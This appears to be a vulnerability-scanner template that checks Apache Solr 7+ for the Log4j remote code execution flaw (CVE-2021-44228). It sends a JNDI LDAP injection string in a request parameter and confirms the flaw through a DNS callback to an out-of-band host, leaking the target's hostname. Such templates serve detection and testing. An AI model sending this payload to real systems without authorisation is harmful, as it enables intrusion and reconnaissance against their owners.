id: apache-solr-log4j-rce
info:
name: Apache Solr 7+ - Log4j Remote Code Execution
author: Evan Rubinstein,nvn1729
severity: critical
description: |
Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. This vulnerability affects Solr 7+.
reference:
- https://solr.apache.org/security.html#apache-solr-affected-by-apache-log4j-cve-2021-44228
- https://twitter.com/sirifu4k1/status/1470011568834424837
- https://github.com/apache/solr/pull/454
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10.0
cwe-id: CWE-77
tags: solr,oast,log4j,rce,apache,jndi
requests:
- method: GET
path:
- "{{BaseURL}}/solr/admin/collections?action=$%7Bjndi:ldap://$%7BhostName%7D.{{interactsh-url}}/a%7D"
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms the DNS Interaction
words:
- "dns"
- type: regex
part: interactsh_request
regex:
- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Match for extracted ${hostName} variable
extractors:
group: 1
- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${hostName} in output
# Enhanced by mp on 2022/05/27
